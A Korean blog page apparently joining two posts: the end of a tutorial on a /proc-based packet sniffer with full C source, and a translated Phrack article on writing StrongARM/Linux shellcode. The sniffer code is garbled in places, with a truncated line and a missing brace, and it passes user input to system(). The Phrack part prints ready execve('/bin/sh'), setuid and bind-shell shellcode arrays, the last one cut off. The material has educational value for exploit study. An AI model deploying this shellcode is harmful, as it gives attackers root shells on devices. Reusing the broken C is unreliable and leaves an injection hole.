135 ~ 145행 : flag 변수를 0부터 5까지 왼쪽 쉬프트하여 mask 변수로 AND 마스크하면 어느 비트가 1로 세팅 되었는지 확인할 수 있습니다. 1로 세팅된 제어 플레그를 맵핑된 tcp플래그 문자열로 바꾸어 str 문자열 변수에 복사합니다.

 

154 : print_ip 함수는 ip 구조체 포인터 변수와 ip헤더의 내용을 저장할 파일 포인터 변수를 인자로 받습니다.

163 : ip헤더의 identifier, TTL, Checksum 내용을 ip 구조체의 멤버 변수를 통해 추출합니다각각의 데이터에는 ip구조체의 ip_id, ip_ttl, ip_sum 멤버 변수 값이 대입됩니다.

171 ~ 179행 : ip헤더의 출발지 ip, 목적지 ip 내용을 ip구조체의 멤버 변수를 통해 추출합니다각각의 데이터에는 ip구조체의 ip_src, ip_dst 멤버변수 값이 대입됩니다.

 

 

 

 

3. 맺음말

 

지금까지 /proc 디렉토리에 담긴 정보를 분석이용하여 특정 프로세스가 사용 중인 포트 번호를 추출하는 방법과 socket 시스템 콜을 이용하여 TCP/IP 헤더와 실제 데이터를 분석하는 방법에 대해 공부하고실제 구현하는 방법까지 알아보았습니다본 프로그램은 /proc 디렉토리의 프로세스 정보와 네트워크 정보만을 다루었지만 /proc 디렉토리에는 시스템에 관련된 거의 대부분의 정보를 가지고 있기 때문에 시스템 모니터링 프로그램이나 시스템 성능 분석 프로그램 등을 개발하는데 유용하게 사용될 수 있습니다.

본 문서에서는 이와 유사한 프로그램을 만들기 위한 제작 과정을 소개하기 위한 목적으로 작성되었기 때문에 기능이 미약하고 불안전할 수도 있습니다문서에서 설명한 프로그램에 스니핑 된 패킷들의 데이터를 프로토콜, IP 주소 별로 분류하거나 기타 통계 기능 등을 추가한다면 더욱 유용하게 사용할 수 있을 것으로 생각합니다.

 

 

 

 

----------- 전체 소스코드 -----------

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <fcntl.h>

#include <errno.h>

#include <ctype.h>

#include <string.h>

#include <netdb.h>

#include <dirent.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <net/ethernet.h>

#include <netinet/in_systm.h>

#include <netinet/in.h>

#define  __FAVOR_BSD

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#include <netinet/tcp.h>

#include <netinet/udp.h>

#include <netinet/if_ether.h>

#include <arpa/inet.h>

#include <linux/sockios.h>

 

#define MAXSIZE 4096

#define BUFSIZE 128

 

 

void tcp_ftoa(int flag, char *str);

void print_ip(struct ip *ip, FILE *fp);

void print_tcp(struct tcphdr *tcp, FILE *fp);

void print_udp(struct udphdr *udp);

void dump_packet(unsigned char *buff, int len, FILE *fp);

int ProcParser(char *proc_file, char *proc_name);

int IsDigit(char *str);

int HexToDecimal(char *buffer);

int SockMapPort(char* ProcTcp, char* sockdevnum, unsigned short* processPortNum);

unsigned short FindPortNum(char* processID);

unsigned short FindProcInfo(char* process);

void packetCapture(unsigned short portnum, FILE *wfp);

void help(char *cmd);

 

int main(int argc, char **argv)

{

             int c;                   

             char data[BUFSIZE];

             unsigned short portnum;

             FILE *wfp;

 

             while ((c = getopt(argc, argv, "i:p:")) != EOF) {

                           switch (c) {

                                        case 'i':

                                                     portnum = FindProcInfo(argv[2]);

                                                     break;

                                        case 'p' :

                                                     portnum = FindProcInfo(argv[2]);

                                                     break;

                                        case 'h':              

                                                     help(argv[0]);

                                        default:

                                                     help(argv[0]);

                                                     exit(1);

                                                     break;

                           }

             }

 

             if(argc < 2) {

                           fprintf(stderr, "parameter errror!\n");

                           help(argv[0]);

                           exit(1);

             }

 

             sprintf(data, "process_%s", argv[2]);

             if((wfp = fopen(data, "wa"))==NULL) {

                           perror("file open error\n");

                           exit(0);

             }

 

             packetCapture(portnum, wfp);

             fclose(wfp);

             return 0;

}

 

void tcp_ftoa(int flag, char *str)

{

             static char f[][3] = {"URG", "ACK", "PSH", "RST", "SYN", "FIN"};

             int length = 0;

             u_int mask = 1 << 5;

             int i;

 

             for(i = 0;i<6;i++) {

                           if (((flag << i) & mask) != 0)

                           {

                                        strncat(str, f[i], 3);

                                        strncat(str, " ", 1);

                           }

             }

 

             length = strlen(str);

             str[length] = '\0';

 

}

 

 

void print_ip(struct ip *ip, FILE *fp)

{

             char buf[BUFSIZE];

             printf("Protocol: IP\n");

             sprintf(buf, "Protocol: IP\n");

             fputs(buf, fp);

printf("+-------------------------+--------+----------------+\n");

sprintf(buf, "+-------------------------+--------+----------------+\n");

             fputs(buf, fp);

             printf("| Identifier:        %5u| TTL:%3u| Checksum: %5u|\n",

                                        ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

             sprintf(buf, "| Identifier:        %5u| TTL:%3u| Checksum: %5u|\n",

                                        ntohs(ip->ip_id), ip->ip_ttl, ntohs(ip->ip_sum));

             fputs(buf, fp);

printf("+------------+------------+-------------------------+\n");

sprintf(buf, "+------------+------------+-------------------------+\n");

             fputs(buf, fp);

             printf("| Source IP Address:                 %15s|\n",

                                        inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

             sprintf(buf, "| Source IP Address:                 %15s|\n",

                                        inet_ntoa(*(struct in_addr *)&(ip->ip_src)));

             fputs(buf, fp);

printf("+---------------------------------------------------+\n");

sprintf(buf, "+---------------------------------------------------+\n");

             fputs(buf, fp);

             printf("| Destination IP Address:            %15s|\n",

                                        inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

             sprintf(buf, "| Destination IP Address:            %15s|\n",

                                        inet_ntoa(*(struct in_addr *)&(ip->ip_dst)));

             fputs(buf, fp);

printf("+---------------------------------------------------+\n");

sprintf(buf, "+---------------------------------------------------+\n");

             fputs(buf, fp);

}

 

void print_tcp(struct tcphdr *tcp, FILE *fp)

{

             char buf[BUFSIZE];

             char str[17];

 

             memset(str, 0, sizeof(str));

 

             printf("protocol: TCP\n");

             sprintf(buf, "protocol: TCP\n");

             fputs(buf, fp);

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

             fputs(buf, fp);

 

             printf("| Source Port:       %5u| Destination Port:  %5u|\n",

                                        ntohs(tcp->th_sport), ntohs(tcp->th_dport));

             sprintf(buf, "| Source Port:       %5u| Destination Port:  %5u|\n",

                                        ntohs(tcp->th_sport), ntohs(tcp->th_dport));

             fputs(buf, fp);

            

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

             fputs(buf, fp);

             printf("| Sequence Number:                        %10lu|\n",

                                        (u_long)ntohl(tcp->th_seq));

             sprintf(buf, "| Sequence Number:                        %10lu|\n",

                                        (u_long)ntohl(tcp->th_seq));

             fputs(buf, fp);

            

printf("+---------------------------------------------------+\n");

sprintf(buf, "+---------------------------------------------------+\n");

             fputs(buf, fp);

             tcp_ftoa(tcp->th_flags, str);

             printf("| Ack Number:   %10lu| Flag:         %10s|\n",

                                        (u_long)ntohl(tcp->th_ack), str);

             sprintf(buf, "| Ack Number:   %10lu| Flag:         %10s|\n",

                                        (u_long)ntohl(tcp->th_ack), str);

             fputs(buf, fp);

 

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

             fputs(buf, fp);

             printf("| Checksum:          %5u| Urgent Pointer:    %5u|\n",

                                        ntohs(tcp->th_sum), ntohs(tcp->th_urp));

             sprintf(buf, "| Checksum:          %5u| Urgent Pointer:    %5u|\n",

                                        ntohs(tcp->th_sum), ntohs(tcp->th_urp));

             fputs(buf, fp);

printf("+-------------------------+-------------------------+\n");

sprintf(buf, "+-------------------------+-------------------------+\n");

             fputs(buf, fp);

}

 

 

 

void print_udp(struct udphdr *udp)

{

             printf("Protocol: UDP\n");

printf("+-------------------------+-------------------------+\n");

             printf("|Source Port:        %5u| Dest Port:         %5u|\n",

                                        ntohs(udp->uh_sport), ntohs(udp->uh_dport));

printf("+-------------------------+-------------------------+\n");

             printf("|Length:             %5u| Ckecksum:          %5u|\n",

                                        ntohs(udp->uh_ulen), ntohs(udp->uh_sum));

printf("+-------------------------+-------------------------+\n");

}

 

void dump_packet(unsigned char *buff, int len, FILE *fp)

{

             int i, j; 

             char buf[BUFSIZE];

 

             printf("Packet Dump:\n"); 

             sprintf(buf, "Packet Dump\n");

             fputs(buf, fp);

             for (i = 0; i < len; i += 16) {

                           for (j = i; j < i + 16 && j < len; j++) {

                                        printf("%02x", buff[j]);

                                        sprintf(buf, "%02x", buff[j]);

                                        fputs(buf, fp);

 

                                        if (j % 2 == 1){

                                                     printf(" ");

                                                     sprintf(buf, " ");

                                                     fputs(buf, fp);

                                        }

                           }

 

                           if (j == len && len % 16 != 0)

                                        for (j = 0; j < 40 - (len % 16)*2.5; j++){

                                                     printf(" ");

                                                     sprintf(buf, " ");

                                                     fputs(buf, fp);

                                        }

                           printf(": ");

                           sprintf(buf, ": ");

                           fputs(buf, fp);

 

                           for (j = i; j < i + 16 && j < len; j++) {

                                        if ((buff[j] >= 0x20) && (buff[j] <= 0x7e)){

                                                     putchar(buff[j]);

                                                     sprintf(buf, "%c", buff[j]);

                                                     fputs(buf, fp);

                                        }

                                        else{

                                                     printf(".");

                                                     sprintf(buf, ".");

                                                     fputs(buf, fp);

                                        }

                           }

                           printf("\n");

                           fputs("\n", fp);

             }

}

 

void help(char *cmd)

{

             fprintf(stderr, "usage: %s [-i processid] [-p processname] \n", cmd);

}

 

void packetCapture(unsigned short portnum, FILE *wfp)

{

             struct ether_header *eth;

             struct ether_arp *arp;   

             struct ip *ip;           

             struct icmp *icmp;       

             struct tcphdr *tcp;      

             struct udphdr *udp;      

             int s;                    

             int len;                 

             int c;                   

             char buff[MAXSIZE];      

             char *packetPointer;     

             char *packetFirst;       

             char buf[BUFSIZE];

             int i;

             char data[BUFSIZE];

            

             if ((s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) {

                           perror("socket");

                           exit(1);

             }

 

             while (1){

                           if ((len = read(s, buff, MAXSIZE)) < 0) {

                                        perror("read");

                                        exit(1);

                           }

                           packetPointer = packetFirst = buff;

 

                           eth = (struct ether_header *) packetPointer;

                           packetPointer = packetPointer + sizeof (struct ether_header);

                           printf("ether : %d\n", sizeof(struct ether_header));

 

                           if (ntohs(eth->ether_type) == ETHERTYPE_IP) {

                                        ip = (struct ip *) packetPointer;

                                        printf("ip : %d\n", sizeof(struct ip));

                                        packetPointer = packetPointer + ((int)(ip->ip_hl) << 2);

 

                                        switch (ip->ip_p) {

                                                     case IPPROTO_TCP:

                                                                  tcp = (struct tcphdr *) packetPointer;

                                                if((portnum == ntohs(tcp->th_sport))

|| (portnum == ntohs(tcp->th_dport))){

                                                     cketPointer = packetPointer + ((int)(tcp->th_off) << 2);

                                                                                print_ip(ip, wfp);

                                                                                print_tcp(tcp, wfp);

                                                                                dump_packet(packetFirst, len, wfp);

                                                                                printf("\n");

                                                                                sprintf(buf, "\n");

                                                                                fputs(buf, wfp);

                                                                                fflush(stdout);

                                                                  }

                                                                  break;

                                                     case IPPROTO_UDP:

                                                                  udp = (struct udphdr *) packetPointer;

                                                                  if((portnum == ntohs(udp->uh_sport))

|| (portnum == ntohs(udp->uh_dport))){

                                                                                print_ip(ip, wfp);

                                                                                print_udp(udp);

                                                                                dump_packet(packetFirst, len, wfp);

                                                                                printf("\n");

                                                                                sprintf(buf, "\n");

                                                                                fputs(buf, wfp);

                                                                                fflush(stdout);

                                                                  }

                                                                  break;

                                        }

                           }

             }

 

}

 

int ProcParser(char *proc_file, char *proc_name)

{

    FILE *fp;

    char buf[512] = {0x00,};

    int pid;

    char *pname;

 

    fp = fopen(proc_file, "r");

    if (fp == NULL)

    {

        perror("error : ");

        exit(0);

    }

 

    fgets(buf, 511, fp);

    pid = atoi(strtok(buf, " "));

    pname = (char*)strtok(NULL, " ");

 

    if(strncmp(pname, proc_name, strlen(proc_name)))

    {

                 return 0;

    }

    else

    {

                 return 1;

    }

    fclose(fp);

 

int IsDigit(char *str)

{

    int i;

    for (i = 0; i < strlen(str); i++)

    {

        if (isdigit(str[i])==0)

            return 0;

    }

    return 1;

}

 

int HexToDecimal(char *buffer)

{

             int count=0, decimal=0;

 

             for(count =0;count<4;count++)

             {

                           if(buffer[count]>='0' && buffer[count]<='9')

                           {

                                        decimal *= 16;

                                        decimal += buffer[count] - '0';

                           }

                           else if(buffer[count]>='A' && buffer[count]<='F')

                           {

                                        decimal *= 16;

                                        decimal += buffer[count] - 'A' + 10;

                           }

             }

 

             return decimal;

                          

}

 

int SockMapPort(char* ProcTcp, char* sockdevnum, unsigned short* processPortNum)

{

             DIR *directory;

             struct dirent *entry = NULL;

             char buffer[256];

             char *parsing;

             char hexPortNum[40];

             int culcount;

             int linecount;

             int find;

             FILE *fp;

 

             culcount = linecount = find = 0;

             fp = fopen(ProcTcp, "r");

             if (fp == NULL)

             {

                           perror("/proc/net/tcp(6) error");

                           exit(0);

             }

            

             linecount = 0;

             while(fgets(buffer,256, fp) != NULL)

             {

                           if(linecount == 0)

                           {

                                        linecount++;

                                        continue;

                           }

                           culcount = 0;

                           parsing = strtok(buffer, ": ");

                           while((parsing = strtok(NULL, ": ")) != NULL)

                           {

                                        if(culcount == 1)

                                        {

                                                     strcpy(hexPortNum, parsing);

                                        }

                                       

                                        if(!strncmp(parsing, sockdevnum, strlen(sockdevnum)))

                                        {

                                                     find = 1;

                                                     break;

                                        }

                                        else

                                        {

                                        }

                                        culcount++;

                           }

                           if(find) break;

             }

 

             if(find){

                           *processPortNum = HexToDecimal(hexPortNum);

                           return 1;

             }

             else

                           return 0;

}

 

unsigned short FindPortNum(char* processID)

{

             DIR *directory;

             struct dirent *entry = NULL;

             char procBuff[40];

             char sockBuff[40];

             char retBuff[40];

             char *sockdev;

             char *sockdevnum;

             char ProcTcp[20];

             int ret;

             unsigned short processPortNum;

 

 

             sprintf(procBuff,"/proc/%s/fd", processID);

 

        if ((directory = opendir(procBuff)) == NULL)

             {

                     perror("/proc opendir error");

                           exit(0);

        }

             while((entry = readdir(directory)) != NULL)

             {

                           if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0

&& strcmp(entry->d_name, "0") != 0 && strcmp(entry->d_name, "1") !=0

&& strcmp(entry->d_name, "2") != 0)

                           {

                                        sprintf(sockBuff,"/proc/%s/fd/%s", processID, entry->d_name);

                                        readlink(sockBuff, retBuff, sizeof(retBuff));

                                        sockdev = strtok(retBuff, ":[");

                                        if(strcmp(sockdev, "socket"))

                                                     continue;

                                        sockdevnum = strtok(NULL, ":[]");

                                        break;

                           }

             }

 

             sprintf(ProcTcp, "/proc/net/tcp");

             ret = SockMapPort(ProcTcp, sockdevnum, &processPortNum);

             if(ret == 0)

             {

                           sprintf(ProcTcp, "/proc/net/tcp6");

                           SockMapPort(ProcTcp, sockdevnum, &processPortNum);

             }

 

             closedir(directory);

             return processPortNum;

}

 

unsigned short FindProcInfo(char* process)

{

    DIR *directory;

    struct dirent *entry = NULL;

    char proc_file[40];

    char proc_name[20];

    int processFlag = 0;

    unsigned short port;

 

    if (IsDigit(process))

    {

                 processFlag = 1;

    }

    else

    {

                 sprintf(proc_name, "(%s)", process);

    }

 

 

    if(processFlag == 0)

    {

                 system(process);

 

                 if ((directory = opendir("/proc")) == NULL)

                 {

                           perror("/proc opendir error");

                           exit(0);

                 }

 

                 while((entry = readdir(directory)) != NULL)

                 {

                           if (strcmp(entry->d_name, ".") !=0 && strcmp(entry->d_name, "..") != 0)

                           {

                               sprintf(proc_file,"/proc/%s/stat", entry->d_name);

                               if (access(proc_file, F_OK) != 0)

                               {

                                        continue;

                               }

 

                               if (IsDigit(entry->d_name))

                               {

                                        if(ProcParser(proc_file, proc_name))

                                        {

                                                     port = FindPortNum(entry->d_name);

                                   printf("processName : %s\nport : %d\n", process, port);

                                                     break;

                                        }

                               }

                               else

                               {

                               }

                           }

                 }

 

                 closedir(directory);

    }

    else

    {

                 port = FindPortNum(process);

                 printf("processID : %s\nport : %d\n", process, port);

    }

 

    return port;

}



'Neywork' 카테고리의 다른 글

SSL 통신 암호화 과정  (0) 2015.07.28
reverse connection cheat sheet  (0) 2015.04.17
Network vender Model default password  (0) 2014.01.02
윈도우8 애드훅(애드혹, AdHoc) 설정하기  (0) 2013.09.11
IPTIME 해킹 관련 내용 1  (0) 2012.07.17
Posted by k1rha
2014. 10. 7. 19:11

                             ==Phrack Inc.==


               Volume 0x0b, Issue 0x3a, Phile #0x0a of 0x0e


|=--------------=[ Developing StrongARM/Linux shellcode ]=---------------=|

|=-----------------------------------------------------------------------=|

|=--------------------=[ funkysh <funkysh@sm.pl> ]=----------------------=|


ARMS 소개 


이문서는 강력한 ARM 리눅스 쉘코드작성을 필요로 하는 정보이다.



ARM Architecture

32bit ARM 프로세서는 RISC 구조로 디자인 되어있다.

이의미는 이것은 CISC 보다 instruction을 줄일 수 있다.

줄어든 instruction 세트는 스피드에 최적화 된다. 

예를들어 파이프라이닝이나 hard-wired logic 에서 최적화된다.

또한 instruction 과 주소체제 방식은 모든것을 명확하게 한다.

ARM 은 load/store 구조인데, 이것은 오직 레즈스터에 의해서만 데이터처리가

가능하단 것을 의미한다. 메모리에 직접 데이터를 입출력하는 것은 불가능하다.

메모리 입출력은 load/sotre 의 multiple instructions 과 실행상태의 모든 instruction 로 가능하다. 

명맥하게 모든 instruction은 32비트의 길이를 가진다. (4바이트) 


ARM 은 16개의 32비트 레지스터로 구성되어 있다.이는 R0 ~ R15(pc) 까지 가지게 된다. 간략하게 말해서 13개의 '일반적인 목적' 을가지는 레지스터 r0 - r12 를 가진다.

( r0 - r7은 저장되지 않는 레지스터이고 이것은 32-bit 의 모든 프로세서안에 물리적 레지스터라는 것을 의미한다.

이것들은 특별하게 사용되지는 않는다. 그리고 그것은 자유롭게 일반적인 목적으로 사용될 수 있는 레지스터이다. 

반면에 3개의 특별한 목적의 레지스터가 있다. ( 엄밀히 말하면 15개의 레지스터는 모두 일반적인 레지스터이다) 


r13(sp) - stack pointer

r14(lr) - link register

r15(pc/psr) - program counter / status register


레지스터 r13 은 sp 로 알려저 있고 이는 종종 stack pointer 로 사용된다.

그리고 link register 는 함수나 서브루틴 에 사용된다. 


link register - r14 는 lr 로 불리며, 이는 리턴되는 주소값을 저장한다.

서브루틴 호출이 수행될때 BL instruction 은 r14에 return 주소를 셋팅 시킨다.

그리고 서브루틴에서 돌아올때 r14는 PC 에 다시 복사를 하여 되돌아온다. 


ARM에서의 stack 은 낮은 메모리방향으로 자란다. 그리고 스택포인터는 

마지막 아이템에 씌여지게 된다. 이것을 full desecending stack 이라고 부른다.

예를들어 0x41 과 0x42가 스택에 배치되는 것은 아래와 같다.


      memory address   stack value 


                      +------------+

          0xbffffdfc: | 0x00000041 |

                      +------------+

   sp ->  0xbffffdf8: | 0x00000042 |

                      +------------+




---[  Instruction set


 ARM 위에 작성됨에 따라 다른 RISC CPU들은 모두 고정된 길이의 instruction을 가지게 되었따. 이것은 또한 모든 instruction 은 상태 레지스터가 될수 있다는 것이다.

그래서 상위 4비트 (31-28)는 instruction 이 실행되는 동안 모두 특별한 상태로 사용된다.


Instruction 은 4가지의 class 로 나뉘어 질수 있다.

 

 - branch instructions

 - load / store instruction

 - data-processing instructions,

 - exception-generating instructions,



 1. Branch instructions

    -------------------

 분기 instruction 에는 2가지 종류가 있다.


 branch:            b  <24 bit signed offset>

 branch with link:  bl <24 bit signed offset>


branch with link 실행 하는것은 다음 instruction의 주소와 함께하는  'lr' 셋팅과 함께 출력된다. 



 2. Data-processing instructions

    ----------------------------

 데이터 처리 instrunction 은 일반적으로 3-주소체제 를 사용한다.

 

 < op code > < 목적지 > < operand 1 > < operand 2 >


< 목적지 > 는 항상 register 이다.  < operand 1 > 역시 r0~ r15 레지스터중 한개여야만한다. 그리고 < operand 2 > 레지스터 일수도 있지만, shift 된 레지스터나 즉시 적용되는 상수 값일수도 있다. 


 < 예시 >

  -----------------------------+----------------+--------------------+

              addition:   add  | add r1,r1,#65  | set r1 = r1 + 65   |

          substraction:   sub  | sub r1,r1,#65  | set r1 = r1 - 65   |

           logical AND:   and  | and r0,r1,r2   | set r0 = r1 AND r2 |

  logical exclusive OR:   eor  | eor r0,r1,#65  | set r0 = r1 XOR r2 |

            logical OR:   orr  | orr r0,r1,r2   | set r0 = r1 OR r2  |

                  move:   mov  | mov r2,r0      | set r2 = r0        |



 3. Load and store instructions

    ---------------------------

 메모리로부터 적재하는 레지스터 ldr rX , <address >

 예를들어 ldr, r0, [r1 ] 는 r0 와함께 r1의 1word 의 32 비트가 지정된다. 

또한 LDRb intruction 은 합리적으로 8 bit 만을 가져온다. 


  store register in memory:  str rX,  <address>     (store 32 bits)

                             strb rX, <address>    (store 8 bits)



ARM 은 multiple 레지스터의 sotreing / loading 역시 지원한다. 

이것은 최적화 관점에서 봤을때 매우 흥미로운 특징이다.

stm (store multiple registers in memory) 부터 살펴보면 아래와같다.


stm < base register > <stack type>(!), { register list }


 < base register > 은 어떠한 레지스터든 상관없다. 그러나 전형적으로 stack pointer 가 사용된다. 

예를들어 : stmfd sp!, {r0-r3, r6} 은 r0, r1, r2 ,r3 와 r6 에 stack의 값이 저장된다. ( full decending mode dptjsms stm 이후에 fd가 붙는다.) 

stack pointer는 r0 레지스터가 저장된 곳을 가르키게 된다. ( ! 때문 ) 

비슷하게 load of multiple register들도 같은 방식을 사용한다. : ldm 



 4. Exception-generating instructions 

    ---------------------------------


Software interrupt : swi < number > 는 system call로써 사용된다.


여기에 언급된 레지스터들은 완벽하지 않지만 다른 문서를 통해 더 많은것을 알아보길 바란다.



---[  Syscalls


 강력한 ARM 프로세서와 함꼐하는 리눅스에서는 syscall 기반은 0x900000로 옴겨졌다.

이것은 쉘코드를 작성하는데 좋은 움직임은 아니다. 그 이후로 우리는 instruction들의 opcode의 zero byte를 조절해야 한다.


예를들어 exit syscall 의 경우


swi 0x900001   [ 0xef900001 ]

가 되어야한다  ( 무슨말이지?)


여기에 쉘코드를 작성할때 유용한 시스템콜 리스트가 있다.  ( syscall의 return 값을 보통 r0에 저장된다)



       execve:

       ------- 

               r0 = const char *filename

               r1 = char *const argv[]

               r2 = char *const envp[]

      call number = 0x90000b

 


       setuid:

       ------- 

               r0 = uid_t uid

      call number = 0x900017



         dup2:

         ----- 

               r0 = int oldfd

               r1 = int newfd

      call number = 0x90003f



       socket:

       ------- 

               r0 = 1 (SYS_SOCKET)

               r1 = ptr to int domain, int type, int protocol

      call number = 0x900066 (socketcall)



         bind:

         ----- 

               r0 = 2 (SYS_BIND)

               r1 = ptr to int  sockfd, struct sockaddr *my_addr, 

                    socklen_t addrlen

      call number = 0x900066 (socketcall)



       listen:

       ------- 

               r0 = 4 (SYS_LISTEN)

               r1 = ptr to int s, int backlog

      call number = 0x900066 (socketcall)



       accept:

       ------- 

               r0 = 5 (SYS_ACCEPT)

               r1 = ptr int s,  struct  sockaddr  *addr,

                    socklen_t *addrlen 

      call number = 0x900066 (socketcall)




---[  Common operations 


 

 Loading high values 

 -------------------


모든 상태와 레지스터 숫자가 32bit word 를 나타내고, op코드역시 32bit 이기때문에, 하나의 instruction 안에 레지스터 속의 높은 값은 즉시 로딩 된다. 

이러한 문제는 'shifting' 이라불리는 특징에 의해 해결 될 수 있게된다.

ARM 어셈블리는 6개의 연상되는 shift type이 존재한다. 


           lsl -  logical shift left

           asl -  arithmetic shift left

           lsr -  logical shift right

           asr -  arithmetic shift right

           ror -  rotate right

           rrx -  rotate right with extend


sfifter 는 data 처리 instruction과 함께 처리될수 있다. 또한 ldl 과 str instruction과도 함께 사용된다. 


예를들어 r0 와 0x900000 를 load 하기 위해 우리는 아래의 명령어를 수행할 수 있다.

         mov   r0, #144           ; 0x90

         mov   r0, r0, lsl #16    ; 0x90 << 16 = 0x900000




 Position independence

 ---------------------


 자신의 코드의 위치를 얻는것은 매우 쉽다. PC 는 일반적인 목적의 레지스터이다.

그리고 심지어 어떠한 순간에서든 32bit 값의 메모리 어디든지 jump 를 할수 있다

예를 들어 아래와 같다. 실행 후 : 


         sub   r0, pc, #4


다음 instruction 은 r0 에 저장된다. 

다른 방법으로는 link 와 함께하는 branch instruction 에서 사용될 수 있다.


         bl    sss

         swi   0x900001

  sss:   mov   r0, lr


지금 r0 의 주소값은 "swi 0x900001" 을 가르키고 있다.



 

 Loops

 -----


 3번을 반복하는 반복문에 대해서 이야기해보자. 

전형적인 반복문은 아래와같이 구조화 될수 있다.


         mov   r0, #3     <- loop counter

 loop:   ...    

         sub   r0, r0, #1 <- fd = fd -1 

         cmp   r0, #0     <- check if r0 == 0 already

         bne   loop       <- goto loop if no (if Z flag != 1)


이러한 반복은 subs에 의해 최적화 될수 있고 이러한 반복은 Z flag를 셋팅하여

우리가 r0 에 도달했을때 cmp 구문을 종료 시키는데 쓰인다.


 

         mov   r0, #3

 loop:   ...

         subs  r0, r0, #1

         bne   loop



 Nop instruction

 ---------------


ARM 에서는 "mov r0,r0 " 는 nop 으로 사용된다. 그러나 이것은 null 도 같이 따르게 된다. 그래서 이러한 "중간 생략" instruction 은 취약점을 보여주는 POC 작성때만 써야한다.


         mov   r1, r1    [ 0xe1a01001 ]

          


---[  Null avoiding


대부분의 r0 레지스터를 사용하는 instruction 은 '0' 이다. 

이는 보통 다른 instruction으로 대체되거나 자체 수정된다. 


예시)

             e3a00041    mov   r0, #65      can be raplaced with:

   

             e0411001    sub   r1, r1, r1

             e2812041    add   r2, r1, #65

             e1a00112    mov   r0, r2, lsl r1  (r0 = r2 << 0)



 아래의 방법으로 syscall 은 patch 될수 있다.


             e28f1004    add   r1, pc, #4    <- get address of swi

             e0422002    sub   r2, r2, r2    

             e5c12001    strb  r2, [r1, #1]  <- patch 0xff with 0x00

             ef90ff0b    swi   0x90ff0b      <- crippled syscall

 

 Store/Load multiple also generates 'zero', even if r0 register is not

 used:

 

             e92d001e    stmfd sp!, {r1, r2, r3, r4}

 

 In example codes presented in next section I used storing with link

 register:


             e04ee00e    sub   lr, lr, lr

             e92d401e    stmfd sp!, {r1, r2, r3, r4, lr}







---[  Example codes



/*

 * 47 byte StrongARM/Linux execve() shellcode

 * funkysh

 */


char shellcode[]= "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x1c\x30\x8f\xe2"   /*  add   r3, pc, #28 (0x1c)    */

                  "\x04\x30\x8d\xe5"   /*  str   r3, [sp, #4]          */

                  "\x08\x20\x8d\xe5"   /*  str   r2, [sp, #8]          */

                  "\x13\x02\xa0\xe1"   /*  mov   r0, r3, lsl r2        */

                  "\x07\x20\xc3\xe5"   /*  strb  r2, [r3, #7           */

                  "\x04\x30\x8f\xe2"   /*  add   r3, pc, #4            */

                  "\x04\x10\x8d\xe2"   /*  add   r1, sp, #4            */

                  "\x01\x20\xc3\xe5"   /*  strb  r2, [r3, #1]          */

                  "\x0b\x0b\x90\xef"   /*  swi   0x90ff0b              */

                  "/bin/sh";



/*

 * 20 byte StrongARM/Linux setuid() shellcode

 * funkysh

 */


char shellcode[]= "\x02\x20\x42\xe0"   /*  sub   r2, r2, r2            */

                  "\x04\x10\x8f\xe2"   /*  add   r1, pc, #4            */

                  "\x12\x02\xa0\xe1"   /*  mov   r0, r2, lsl r2        */

                  "\x01\x20\xc1\xe5"   /*  strb  r2, [r1, #1]          */

                  "\x17\x0b\x90\xef";  /*  swi   0x90ff17              */



/*

 * 203 byte StrongARM/Linux bind() portshell shellcode

 * funkysh

 */


char shellcode[]= "\x20\x60\x8f\xe2"   /*  add   r6, pc, #32           */

                  "\x07\x70\x47\xe0"   /*  sub   r7, r7, r7            */

                  "\x01\x70\xc6\xe5"   /*  strb  r7, [r6, #1]          */

                  "\x01\x30\x87\xe2"   /*  add   r3, r7, #1            */

                  "\x13\x07\xa0\xe1"   /*  mov   r0, r3, lsl r7        */

                  "\x01\x20\x83\xe2"   /*  add   r2, r3, #1            */

                  "\x07\x40\xa0\xe1"   /*  mov   r4, r7                */

                  "\x0e\xe0\x4e\xe0"   /*  sub   lr, lr, lr            */

                  "\x1c\x40\x2d\xe9"   /*  stmfd sp!, {r2-r4, lr}      */

                  "\x0d\x10\xa0\xe1"   /*  mov   r1, sp                */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (socket) */

                  "\x10\x57\xa0\xe1"   /*  mov   r5, r0, lsl r7        */

                  "\x35\x70\xc6\xe5"   /*  strb  r7, [r6, #53]         */

                  "\x14\x20\xa0\xe3"   /*  mov   r2, #20               */

                  "\x82\x28\xa9\xe1"   /*  mov   r2, r2, lsl #17       */

                  "\x02\x20\x82\xe2"   /*  add   r2, r2, #2            */

                  "\x14\x40\x2d\xe9"   /*  stmfd sp!, {r2,r4, lr}      */

                  "\x10\x30\xa0\xe3"   /*  mov   r3, #16               */

                  "\x0d\x20\xa0\xe1"   /*  mov   r2, sp                */

                  "\x0d\x40\x2d\xe9"   /*  stmfd sp!, {r0, r2, r3, lr} */

                  "\x02\x20\xa0\xe3"   /*  mov   r2, #2                */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x0d\x10\xa0\xe1"   /*  mov   r1, sp                */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66       (bind) */

                  "\x45\x70\xc6\xe5"   /*  strb  r7, [r6, #69]         */

                  "\x02\x20\x82\xe2"   /*  add   r2, r2, #2            */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x66\xff\x90\xef"   /*  swi   0x90ff66     (listen) */

                  "\x5d\x70\xc6\xe5"   /*  strb  r7, [r6, #93]         */

                  "\x01\x20\x82\xe2"   /*  add   r2, r2, #1            */

                  "\x12\x07\xa0\xe1"   /*  mov   r0, r2, lsl r7        */

                  "\x04\x70\x8d\xe5"   /*  str   r7, [sp, #4]          */

